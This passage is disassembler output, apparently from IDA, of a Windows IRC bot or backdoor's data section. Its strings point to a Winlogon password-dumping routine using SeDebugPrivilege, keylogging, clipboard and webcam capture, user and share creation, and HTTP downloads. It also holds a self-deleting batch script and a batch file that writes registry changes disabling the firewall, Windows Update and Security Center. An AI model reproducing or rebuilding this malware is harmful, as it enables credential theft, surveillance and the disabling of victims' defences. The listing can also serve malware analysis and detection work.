		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42AA6C	db    2			; DATA XREF: sub_408D42+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408E5A+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408E5A+1Ao
		align 4
unk_42AABC	db    2			; DATA XREF: sub_408FAC:loc_409125o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42AB00	db    2			; DATA XREF: sub_408FAC:loc_4090F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42AB44	db    2			; DATA XREF: sub_408FAC:loc_4090F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42AB8C	db    2			; DATA XREF: sub_408FAC+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42AC04	dd offset byte_530055	; DATA XREF: sub_408FAC+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004A+3
		dd offset byte_4E0049
		dd 0
off_42AC1C	dd offset byte_530055	; DATA XREF: sub_408FAC+CEo
		dd offset byte_520045
		dd offset loc_41004A+4
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408FAC+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408FAC+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408FAC+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_408FAC+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_408FAC+40o
					; sub_408FAC+161o ...
		align 10h
unk_42ACE0	db    2			; DATA XREF: sub_408FAC+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_40917E+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_40917E+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_40917E+AFo
		align 10h
unk_42AD40	db    2			; DATA XREF: sub_4095E4+70o
					; sub_40967B+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42ADAC	db    2			; DATA XREF: sub_40967B+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409794+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409794+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409794:loc_40A3CFo
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409794+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409794+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409794+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409794+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409794+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409794+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409794:loc_40A331o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409794+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409794+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409794:loc_40A2E7o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409794+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409794+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409794+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409794+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409794:loc_40A273o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409794+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409794+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409794:loc_40A229o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409794+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409794+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409794:loc_40A1DFo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409794+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409794+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409794+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409794+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409794+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409794+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409794+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409794+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409794+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409794+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409794+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409794:loc_40A0D4o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409794+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409794+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409794+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409794:loc_40A075o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409794+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409794+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409794+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409794+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409794+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409794+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409794+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409794+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409794+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409794+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409794+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409794:loc_409F55o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409794+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409794+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409794+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409794+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409794+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409794+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409794+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409794+62Do
					; ___:0042F1B8o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409794+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409794+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409794+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409794+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409794+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409794+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_409794+5D2o
					; sub_40F6F1+22E8o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409794+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409794+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409794+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409794+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409794+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409794+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409794+577o
					; ___:0042F5C8o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409794+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_409794+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409794+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409794+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409794+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409794+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409794+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409794+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409794+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409794+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409794+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409794+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409794+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409794+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409794+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409794+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409794+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409794+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409794+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409794:loc_409BA3o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409794:loc_409B7Bo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409794+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409794+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409794+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409794+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409794+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409794+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409794+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409794:loc_409ACDo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409794+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409794+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409794:loc_409A88o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409794+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409794+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409794+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409794+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409794+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409794+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409794:loc_4099F3o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409794+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409794+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409794+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409794:loc_40998Co
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409794+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409794+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409794+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409794+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409794+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409794+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409794+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409794+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409794:loc_4098C9o
					; sub_41EE5D+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409794:loc_40989Co
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409794+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409794+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409794+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409794+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409794+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409794+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409794+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409794+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409794+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409794+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409794+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409794+Ao
		align 4
unk_42B6E4	db    2			; DATA XREF: sub_40A421+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A421+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A421+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A9AA+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AA6F+5o
					; sub_416233+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AAF1+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AB95+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40ABB7+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40ABB7+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40ABB7+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_40AD3F+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AD3F+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
